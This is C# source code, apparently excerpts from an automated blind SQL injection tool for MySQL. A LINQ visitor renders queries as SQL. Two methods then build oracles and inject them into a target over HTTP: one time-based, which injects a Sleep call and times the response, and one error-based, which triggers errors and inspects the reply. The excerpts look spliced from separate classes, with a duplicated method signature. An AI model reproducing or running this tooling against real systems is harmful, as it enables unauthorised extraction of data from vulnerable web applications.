public MySqlExpressionVisitor(
MySqlQueryModelVisitor queryModelVisitor,
SqlWriter writer
)
{
QueryModelVisitor = queryModelVisitor;
Writer = writer;
}
public override Expression Visit(Expression node)
{
switch (node)
{
case MemberExpression member:
VisitMember(member);
break;
case MethodCallExpression methodCall:
VisitMethodCall(methodCall);
break;
case ConstantExpression constant:
VisitConstant(constant);
break;
case BinaryExpression binary:
VisitBinary(binary);
break;
case UnaryExpression unary:
VisitUnary(unary);
break;
case ConditionalExpression conditional:
VisitConditional(conditional);
break;
case QuerySourceReferenceExpression reference:
if ((reference.ReferencedQuerySource as IFromClause)?.FromExpression is SubQueryExpression subQuery)
{
Visit(subQuery.QueryModel.SelectClause.Selector);
}
break;
case SubQueryExpression query:
Writer.Write("(");
var visitor = new MySqlQueryModelVisitor(Writer);
visitor.Render(query.QueryModel);
Writer.Write(")");
break;
default:
throw new NotSupportedException($"Can't translate expression of type '{node.NodeType}' ({node.Type})");
}
return(node);
}
public async Task <bool> TestAsync(IQueryable <bool> query)
{
if (query == null)
{
throw new ArgumentNullException(nameof(query));
}
var test = query.Select(condition => condition ? 1 : Sleep(Options.InjectedWaitTime.TotalSeconds)).Take(1);
using (var writer = WriterPool.Get())
{
var visitor = new MySqlQueryModelVisitor(writer);
var sql = visitor.Render(test);
while (true)
{
try
{
Stopwatch stopwatch = Stopwatch.StartNew();
Logger.LogDebug(sql);
await Injector.InjectAsync(sql, CancellationToken.None);
stopwatch.Stop();
WriterPool.Return(writer);
return(stopwatch.Elapsed < Options.SuccessfulTime);
}
catch (HttpRequestException req) when(req.InnerException?.Message?.Contains("timed out") ?? false)
{
Logger.LogWarning($"Retrying...");
continue;
}
catch (HttpRequestException req) when(req.InnerException?.Message?.Contains("unrecognized response") ?? false)
{
Logger.LogWarning($"Retrying...");
continue;
}
catch (OperationCanceledException)
{
Logger.LogWarning($"Retrying...");
continue;
}
}
}
}
public async Task <bool> TestAsync(IQueryable <bool> query)
{
if (query == null)
{
throw new ArgumentNullException(nameof(query));
}
var expr = ErrorExpressionProvider.GetErrorExpression();
var p = Expression.Parameter(typeof(bool), "condition");
var next = query.Provider.CreateQuery <long>(
Expression.Call(
typeof(Queryable).GetMethods().Where(m => m.Name == nameof(System.Linq.Queryable.Select)).Single(m => !m.GetParameters()[1].ParameterType.ToString().Contains("Int32"))
.MakeGenericMethod(typeof(bool), typeof(long)),
query.Expression,
Expression.Lambda(
Expression.Condition(
p,
expr,
Expression.Constant(1L)
),
p
)
)
).Take(1);
using (var writer = WriterPool.Get())
{
var visitor = new MySqlQueryModelVisitor(writer);
var sql = visitor.Render(next);
Logger.LogDebug(sql);
while (true)
{
try
{
using (var response = await Injector.InjectAsync(sql, CancellationToken.None))
{
WriterPool.Return(writer);
return(await ErrorDetector.ContainsErrorAsync(response));
}
}
catch (HttpRequestException req) when(req.InnerException?.Message?.Contains("timed out") ?? false)
{
Logger.LogWarning($"Retrying...");
continue;
}
catch (HttpRequestException req) when(req.InnerException?.Message?.Contains("unrecognized response") ?? false)
{
Logger.LogWarning($"Retrying...");
continue;
}
catch (OperationCanceledException)
{
Logger.LogWarning($"Retrying...");
continue;
}
}
}
}
